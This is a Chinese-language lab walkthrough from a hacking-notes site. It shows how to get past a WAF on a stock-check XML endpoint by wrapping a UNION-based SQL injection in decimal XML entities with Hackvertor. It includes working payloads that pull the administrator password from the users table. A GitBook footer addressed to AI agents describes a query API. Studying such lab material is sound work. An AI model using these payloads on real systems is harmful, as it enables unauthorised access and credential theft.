> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# 通过 XML 编码绕过 SQL 注入过滤

### 通过 XML 编码绕过过滤的 SQL 注入

此实验在库存验证功能中存在 SQL 注入漏洞。请求的结果会在应用响应中返回；因此我们可以使用一种 `UNION` 用于从其他表中恢复数据的攻击。/ 数据库包含一个 `users` 一个包含已注册用户用户名和密码的表。要解决此实验，请执行 SQL 注入攻击以获取管理员用户 ID，然后登录该账户。

提供的示例：

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/9d18fdb0db92ba3862a777dcc8b681c214f6ca64" alt=""><figcaption></figcaption></figure>

* Hackvertor 扩展——十进制实体

<figure><img src="/files/1ccac133ff8d038404522944cb4b3440c5522692" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/e17ba05969d83cfcc80a459d7afbe723d02f3e52" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
